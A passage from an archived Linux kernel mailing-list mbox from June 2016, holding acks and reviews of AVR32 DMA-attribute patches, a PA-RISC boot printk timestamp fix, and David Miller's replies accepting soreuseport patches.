        Stefano Stabellini <sstabellini@kernel.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Steven Miao <realmz6@gmail.com>,
        Mark Salter <msalter@redhat.com>,
        Aurelien Jacquiot <a-jacquiot@ti.com>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>,
        Geert Uyt
To: Krzysztof Kozlowski <k.kozlowski@samsung.com>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Jun 06 08:46:43 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1b9oJ8-0003Wr-Dv
	for sgi-linux-mips@gmane.org; Mon, 06 Jun 2016 08:46:42 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:58588 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27042594AbcFFGqjMLRTD (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 6 Jun 2016 08:46:39 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 06 Jun 2016 08:46:25 +0200 (CEST)
Original-Received: from cassarossa.samfundet.no ([193.35.52.29]:51745 "EHLO
        cassarossa.samfundet.no" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27042593AbcFFGqU5l4iD (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Mon, 6 Jun 2016 08:46:20 +0200
Original-Received: from egtvedt by cassarossa.samfundet.no with local (Exim 4.84_2)
        (envelope-from <egtvedt@samfundet.no>)
        id 1b9oHg-00040X-Gb; Mon, 06 Jun 2016 08:45:12 +0200
Content-Disposition: inline
In-Reply-To: <1464881987-13203-45-git-send-email-k.kozlowski@samsung.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-archive-position: 53885
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: egtvedt@samfundet.no
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:55046 gmane.linux.documentation:38823 gmane.linux.kernel:2235919 gmane.linux.ports.alpha:3761 gmane.linux.kernel.arc:1170 gmane.linux.ports.arm.kernel:504168 gmane.linux.ports.hexagon:1027 gmane.linux.ports.ia64:26855 gmane.linux.kernel.metag:1103 gmane.linux.ports.parisc:26838 gmane.linux.ports.ppc64.devel:128145 gmane.linux.ports.sh.devel:54171 gmane.linux.ports.sparc:23035 gmane.linux.ports.x86-64.general:2666 gmane.linux.kernel.pci:52309 gmane.comp.video.dri.devel:156231 gmane.linux.kernel.samsung-soc:54509 gmane.linux.ports.arm.mediatek:5575 gmane.linux.ports.arm.msm:19367 gmane.comp.freedesktop.xorg.drivers.freedreno:101 gmane.comp.freedesktop.xorg.nouveau:25117 gmane.linux.ports.arm.rockchip:7115 gmane.linux.drivers.rdma:37442 gmane.linux.kernel.iommu:13957 gmane.linux.drivers.video-input-infrastructure:102645 gmane.linux.ports.arm.omap:136456
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/55046>

Around Thu 02 Jun 2016 17:39:46 +0200 or thereabout, Krzysztof Kozlowski wrote:
> After switching DMA attributes to unsigned long it is easier to just
> compare the bits.
> 
> Signed-off-by: Krzysztof Kozlowski <k.kozlowski@samsung.com>
> ---
>  Documentation/DMA-API.txt                      |  4 +--
>  arch/arc/mm/dma.c                              |  4 +--
>  arch/arm/mm/dma-mapping.c                      | 36 ++++++++++++--------------
>  arch/arm/xen/mm.c                              |  4 +--
>  arch/arm64/mm/dma-mapping.c                    | 10 +++----
>  arch/avr32/mm/dma-coherent.c                   |  4 +--

For the AVR32 related change

Acked-by: Hans-Christian Noren Egtvedt <egtvedt@samfundet.no>

>  arch/ia64/sn/pci/pci_dma.c                     | 10 ++-----
>  arch/metag/kernel/dma.c                        |  2 +-
>  arch/mips/mm/dma-default.c                     |  6 ++---
>  arch/openrisc/kernel/dma.c                     |  4 +--
>  arch/parisc/kernel/pci-dma.c                   |  2 +-
>  arch/powerpc/platforms/cell/iommu.c            | 10 +++----
>  drivers/gpu/drm/rockchip/rockchip_drm_gem.c    |  2 +-
>  drivers/iommu/dma-iommu.c                      |  2 +-
>  drivers/media/v4l2-core/videobuf2-dma-contig.c |  2 +-
>  include/linux/dma-mapping.h                    | 13 ----------
>  16 files changed, 46 insertions(+), 69 deletions(-)

<snipp non-AVR32>

> diff --git a/arch/avr32/mm/dma-coherent.c b/arch/avr32/mm/dma-coherent.c
> index fc51f4421933..58610d0df7ed 100644
> --- a/arch/avr32/mm/dma-coherent.c
> +++ b/arch/avr32/mm/dma-coherent.c
> @@ -109,7 +109,7 @@ static void *avr32_dma_alloc(struct device *dev, size_t size,
>  		return NULL;
>  	phys = page_to_phys(page);
>  
> -	if (dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs)) {
> +	if (attrs & DMA_ATTR_WRITE_COMBINE) {
>  		/* Now, map the page into P3 with write-combining turned on */
>  		*handle = phys;
>  		return __ioremap(phys, size, _PAGE_BUFFER);
> @@ -123,7 +123,7 @@ static void avr32_dma_free(struct device *dev, size_t size,
>  {
>  	struct page *page;
>  
> -	if (dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs)) {
> +	if (attrs & DMA_ATTR_WRITE_COMBINE) {
>  		iounmap(cpu_addr);
>  
>  		page = phys_to_page(handle);

<snipp non-AVR32>

-- 
mvh
Hans-Christian Noren Egtvedt



From - Thu Nov 08 21:38:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hans-Christian Noren Egtvedt <egtvedt@samfundet.no>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.x86-64.general,gmane.linux.kernel.pci,gmane.comp.video.dri.devel,gmane.linux.kernel.samsung-soc,gmane.linux.ports.arm.mediatek,gmane.linux.ports.arm.msm,gmane.comp.freedesktop.xorg.drivers.freedreno,gmane.comp.freedesktop.xorg.nouveau,gmane.linux.ports.arm.rockchip,gmane.linux.drivers.rdma,gmane.linux.kernel.iommu,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.arm.omap
Subject: Re: [RFC v3 07/45] avr32: dma-mapping: Use unsigned long for
 dma_attrs
Date: Mon, 6 Jun 2016 08:43:57 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <20160606064357.GA7998@samfundet.no>
References: <1464881987-13203-1-git-send-email-k.kozlowski@samsung.com>
 <1464881987-13203-8-git-send-email-k.kozlowski@samsung.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1465195682 29832 80.91.229.3 (6 Jun 2016 06:48:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jun 2016 06:48:02 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Russell King <linux@armlinux.org.uk>,
        Stefano Stabellini <sstabellini@kernel.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Steven Miao <realmz6@gmail.com>,
        Mark Salter <msalter@redhat.com>,
        Aurelien Jacquiot <a-jacquiot@ti.com>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>,
        Geert Uyt
To: Krzysztof Kozlowski <k.kozlowski@samsung.com>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Jun 06 08:47:44 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1b9oK7-0004PH-E3
	for sgi-linux-mips@gmane.org; Mon, 06 Jun 2016 08:47:43 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:58828 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27042604AbcFFGrlAE4sD (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 6 Jun 2016 08:47:41 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 06 Jun 2016 08:47:24 +0200 (CEST)
Original-Received: from cassarossa.samfundet.no ([193.35.52.29]:39368 "EHLO
        cassarossa.samfundet.no" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27042593AbcFFGrWWix6D (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Mon, 6 Jun 2016 08:47:22 +0200
Original-Received: from egtvedt by cassarossa.samfundet.no with local (Exim 4.84_2)
        (envelope-from <egtvedt@samfundet.no>)
        id 1b9oGT-0003rb-RN; Mon, 06 Jun 2016 08:43:57 +0200
Content-Disposition: inline
In-Reply-To: <1464881987-13203-8-git-send-email-k.kozlowski@samsung.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-archive-position: 53886
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: egtvedt@samfundet.no
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:55047 gmane.linux.documentation:38824 gmane.linux.kernel:2235921 gmane.linux.ports.alpha:3762 gmane.linux.kernel.arc:1171 gmane.linux.ports.arm.kernel:504169 gmane.linux.ports.hexagon:1028 gmane.linux.ports.ia64:26856 gmane.linux.kernel.metag:1104 gmane.linux.ports.parisc:26839 gmane.linux.ports.ppc64.devel:128146 gmane.linux.ports.sh.devel:54172 gmane.linux.ports.sparc:23036 gmane.linux.ports.x86-64.general:2667 gmane.linux.kernel.pci:52310 gmane.comp.video.dri.devel:156232 gmane.linux.kernel.samsung-soc:54510 gmane.linux.ports.arm.mediatek:5576 gmane.linux.ports.arm.msm:19368 gmane.comp.freedesktop.xorg.drivers.freedreno:102 gmane.comp.freedesktop.xorg.nouveau:25118 gmane.linux.ports.arm.rockchip:7116 gmane.linux.drivers.rdma:37443 gmane.linux.kernel.iommu:13958 gmane.linux.drivers.video-input-infrastructure:102646 gmane.linux.ports.arm.omap:136457
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/55047>

Around Thu 02 Jun 2016 17:39:09 +0200 or thereabout, Krzysztof Kozlowski wrote:
> Split out subsystem specific changes for easier reviews. This will be
> squashed with main commit.
> 
> Signed-off-by: Krzysztof Kozlowski <k.kozlowski@samsung.com>

Acked-by: Hans-Christian Noren Egtvedt <egtvedt@samfundet.no>

> ---
>  arch/avr32/mm/dma-coherent.c | 8 ++++----
>  1 file changed, 4 insertions(+), 4 deletions(-)
> 
> diff --git a/arch/avr32/mm/dma-coherent.c b/arch/avr32/mm/dma-coherent.c
> index 92cf1fb2b3e6..fc51f4421933 100644
> --- a/arch/avr32/mm/dma-coherent.c
> +++ b/arch/avr32/mm/dma-coherent.c
> @@ -99,7 +99,7 @@ static void __dma_free(struct device *dev, size_t size,
>  }
>  
>  static void *avr32_dma_alloc(struct device *dev, size_t size,
> -		dma_addr_t *handle, gfp_t gfp, struct dma_attrs *attrs)
> +		dma_addr_t *handle, gfp_t gfp, unsigned long attrs)
>  {
>  	struct page *page;
>  	dma_addr_t phys;
> @@ -119,7 +119,7 @@ static void *avr32_dma_alloc(struct device *dev, size_t size,
>  }
>  
>  static void avr32_dma_free(struct device *dev, size_t size,
> -		void *cpu_addr, dma_addr_t handle, struct dma_attrs *attrs)
> +		void *cpu_addr, dma_addr_t handle, unsigned long attrs)
>  {
>  	struct page *page;
>  
> @@ -142,7 +142,7 @@ static void avr32_dma_free(struct device *dev, size_t size,
>  
>  static dma_addr_t avr32_dma_map_page(struct device *dev, struct page *page,
>  		unsigned long offset, size_t size,
> -		enum dma_data_direction direction, struct dma_attrs *attrs)
> +		enum dma_data_direction direction, unsigned long attrs)
>  {
>  	void *cpu_addr = page_address(page) + offset;
>  
> @@ -152,7 +152,7 @@ static dma_addr_t avr32_dma_map_page(struct device *dev, struct page *page,
>  
>  static int avr32_dma_map_sg(struct device *dev, struct scatterlist *sglist,
>  		int nents, enum dma_data_direction direction,
> -		struct dma_attrs *attrs)
> +		unsigned long attrs)
>  {
>  	int i;
>  	struct scatterlist *sg;
-- 
mvh
Hans-Christian Noren Egtvedt



From - Thu Nov 08 21:38:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: invalid printk time during boot on PA-RISC
Date: Mon, 6 Jun 2016 12:51:13 -0400 (EDT)
Lines: 83
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1606061250160.22217@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1605310735130.6341@file01.intranet.prod.int.rdu2.redhat.com> <20160601211248.GA15061@p100.box> <20160601213628.GC5218@raspberrypi.musicnaut.iki.fi> <20160603172231.GA4592@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1465231884 30756 80.91.229.3 (6 Jun 2016 16:51:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jun 2016 16:51:24 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 06 18:51:19 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b9xkE-0007Bj-MC
	for glpp-linux-parisc@plane.gmane.org; Mon, 06 Jun 2016 18:51:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751217AbcFFQvR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jun 2016 12:51:17 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:57404 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751120AbcFFQvQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jun 2016 12:51:16 -0400
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
	(No client certificate requested)
	by mx1.redhat.com (Postfix) with ESMTPS id 2239E12B20;
	Mon,  6 Jun 2016 16:51:16 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u56GpFKq024437
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Mon, 6 Jun 2016 12:51:15 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id u56GpFnI023363;
	Mon, 6 Jun 2016 12:51:15 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id u56GpDux023289;
	Mon, 6 Jun 2016 12:51:14 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <20160603172231.GA4592@ls3530.box>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.30]); Mon, 06 Jun 2016 16:51:16 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26840
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26840>



On Fri, 3 Jun 2016, Helge Deller wrote:

> * Aaro Koskinen <aaro.koskinen@iki.fi>:
> > Hi,
> > 
> > On Wed, Jun 01, 2016 at 11:12:48PM +0200, Helge Deller wrote:
> > > It fixes the problem mostly for me, there is just one little glitch
> > > left, which is that the lines "FP[x] enabled" will still print an
> > > invalid time. I assume it's because when this text is printed, the
> > > clock/interrupts for the just booted CPU aren't enabled yet.
> > > 
> > > I'm not sure it's worth trying to fix that. 
> > > One could print out that info at a later time, or just disabled it.
> > > 
> > > Helge
> > > 
> > > [    5.720014] Enabling PDC_PAT chassis codes support v0.05
> > > [    6.644542] Releasing cpu 1 now, hpa=fffffffffe781000
> > > [    0.196000] FP[1] enabled: Rev 1 Model 20
> > > [    7.088432] CPU(s): 2 out of 2 PA8800 (Mako) at 900.000000 MHz online
> > 
> > Some tools that analyze boot time based on dmesg might get confused.
> 
> Yes, valid point.
> Updated patch below.
> 
> Helge
> 
> __________
> 
> 
> parisc: Fix printk time during boot
> 
> Avoid showing invalid printk time stamps during boot.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
> index e81ccf1..5adc339 100644
> --- a/arch/parisc/kernel/processor.c
> +++ b/arch/parisc/kernel/processor.c
> @@ -324,8 +324,9 @@ int init_per_cpu(int cpunum)
>  		per_cpu(cpu_data, cpunum).fp_rev = coproc_cfg.revision;
>  		per_cpu(cpu_data, cpunum).fp_model = coproc_cfg.model;
>  
> -		printk(KERN_INFO  "FP[%d] enabled: Rev %ld Model %ld\n",
> -			cpunum, coproc_cfg.revision, coproc_cfg.model);
> +		if (cpunum == 0)
> +			printk(KERN_INFO  "FP[%d] enabled: Rev %ld Model %ld\n",
> +				cpunum, coproc_cfg.revision, coproc_cfg.model);

BTW. you could also remove "[%d] cpunum" from printk --- if cpunum is 
always 0 here.

Mikulas

>  
>  		/*
>  		** store status register to stack (hopefully aligned)
> diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
> index 58dd680..31ec99a 100644
> --- a/arch/parisc/kernel/time.c
> +++ b/arch/parisc/kernel/time.c
> @@ -309,11 +309,6 @@ void __init time_init(void)
>  	clocks_calc_mult_shift(&cyc2ns_mul, &cyc2ns_shift, current_cr16_khz,
>  				NSEC_PER_MSEC, 0);
>  
> -#if defined(CONFIG_HAVE_UNSTABLE_SCHED_CLOCK) && defined(CONFIG_64BIT)
> -	/* At bootup only one 64bit CPU is online and cr16 is "stable" */
> -	set_sched_clock_stable();
> -#endif
> -
>  	start_cpu_itimer();	/* get CPU 0 started */
>  
>  	/* register at clocksource framework */
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH] soreuseport: Fix reuseport_bpf testcase on 32bit
 architectures
Date: Mon, 06 Jun 2016 15:20:33 -0700 (PDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <20160606.152033.1378544015225851217.davem@davemloft.net>
References: <20160603171920.GB3664@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=iso-8859-7
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1465251642 18252 80.91.229.3 (6 Jun 2016 22:20:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jun 2016 22:20:42 +0000 (UTC)
Cc: kraig@google.com, ast@kernel.org, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: deller@gmx.de
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 07 00:20:37 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bA2sv-0006U6-HQ
	for glpp-linux-parisc@plane.gmane.org; Tue, 07 Jun 2016 00:20:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752745AbcFFWUg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jun 2016 18:20:36 -0400
Original-Received: from shards.monkeyblade.net ([149.20.54.216]:47387 "EHLO
	shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752582AbcFFWUf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jun 2016 18:20:35 -0400
Original-Received: from localhost (74-93-104-98-Washington.hfc.comcastbusiness.net [74.93.104.98])
	(Authenticated sender: davem-davemloft)
	by shards.monkeyblade.net (Postfix) with ESMTPSA id 7FAE05B6948;
	Mon,  6 Jun 2016 15:20:34 -0700 (PDT)
In-Reply-To: <20160603171920.GB3664@ls3530.box>
X-Mailer: Mew version 6.7 on Emacs 24.5 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Mon, 06 Jun 2016 15:20:34 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26841 gmane.linux.network:415456
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26841>

RnJvbTogSGVsZ2UgRGVsbGVyIDxkZWxsZXJAZ214LmRlPg0KRGF0ZTogRnJpLCAzIEp1biAyMDE2
IDE5OjE5OjIwICswMjAwDQoNCj4gVGhpcyBmaXhlcyB0aGUgZm9sbG93aW5nIGNvbXBpbGVyIHdh
cm5pbmdzIHdoZW4gY29tcGlsaW5nIHRoZQ0KPiByZXVzZXBvcnRfYnBmIHRlc3RjYXNlIG9uIGEg
MzIgYml0IHBsYXRmb3JtOg0KPiANCj4gcmV1c2Vwb3J0X2JwZi5jOiBJbiBmdW5jdGlvbiChYXR0
YWNoX2VicGaiOg0KPiByZXVzZXBvcnRfYnBmLmM6MTE0OjE1OiB3YXJuaW5nOiBjYXN0IGZyb20g
cG9pbnRlciB0byBpbnRlZ2VyIG9mIGlmZmVyZW50IHNpemUgWy1XcG9pbnRlci10by1pbnQtY2Fz
dF0NCj4gDQo+IFNpZ25lZC1vZmYtYnk6IEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT4NCg0K
QXBwbGllZC4NCg==
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH v2] soreuseport: add compat case for setsockopt
 SO_ATTACH_REUSEPORT_CBPF
Date: Mon, 06 Jun 2016 15:21:20 -0700 (PDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <20160606.152120.2108923624823325086.davem@davemloft.net>
References: <CAEfhGiwwvwf31Dj+s0zA0bpVAZ4x4=rLuU5g217u=wRrgm07Dg@mail.gmail.com>
	<20160603214002.GA58242@ast-mbp.thefacebook.com>
	<20160603214917.GA12557@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465251690 19182 80.91.229.3 (6 Jun 2016 22:21:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jun 2016 22:21:30 +0000 (UTC)
Cc: alexei.starovoitov@gmail.com, kraigatgoog@gmail.com,
	sergei.shtylyov@cogentembedded.com, ast@kernel.org,
	netdev@vger.kernel.org, linux-parisc@vger.kernel.org
To: deller@gmx.de
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 07 00:21:28 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bA2tj-000729-E2
	for glpp-linux-parisc@plane.gmane.org; Tue, 07 Jun 2016 00:21:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753515AbcFFWVW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jun 2016 18:21:22 -0400
Original-Received: from shards.monkeyblade.net ([149.20.54.216]:47394 "EHLO
	shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751969AbcFFWVV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jun 2016 18:21:21 -0400
Original-Received: from localhost (74-93-104-98-Washington.hfc.comcastbusiness.net [74.93.104.98])
	(Authenticated sender: davem-davemloft)
	by shards.monkeyblade.net (Postfix) with ESMTPSA id E2DC75B69F4;
	Mon,  6 Jun 2016 15:21:20 -0700 (PDT)
In-Reply-To: <20160603214917.GA12557@ls3530.box>
X-Mailer: Mew version 6.7 on Emacs 24.5 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Mon, 06 Jun 2016 15:21:21 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26842 gmane.linux.network:415457
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26842>

From: Helge Deller <deller@gmx.de>
Date: Fri, 3 Jun 2016 23:49:17 +0200

> Commit 538950a1b752 ("soreuseport: setsockopt SO_ATTACH_REUSEPORT_[CE]BPF")
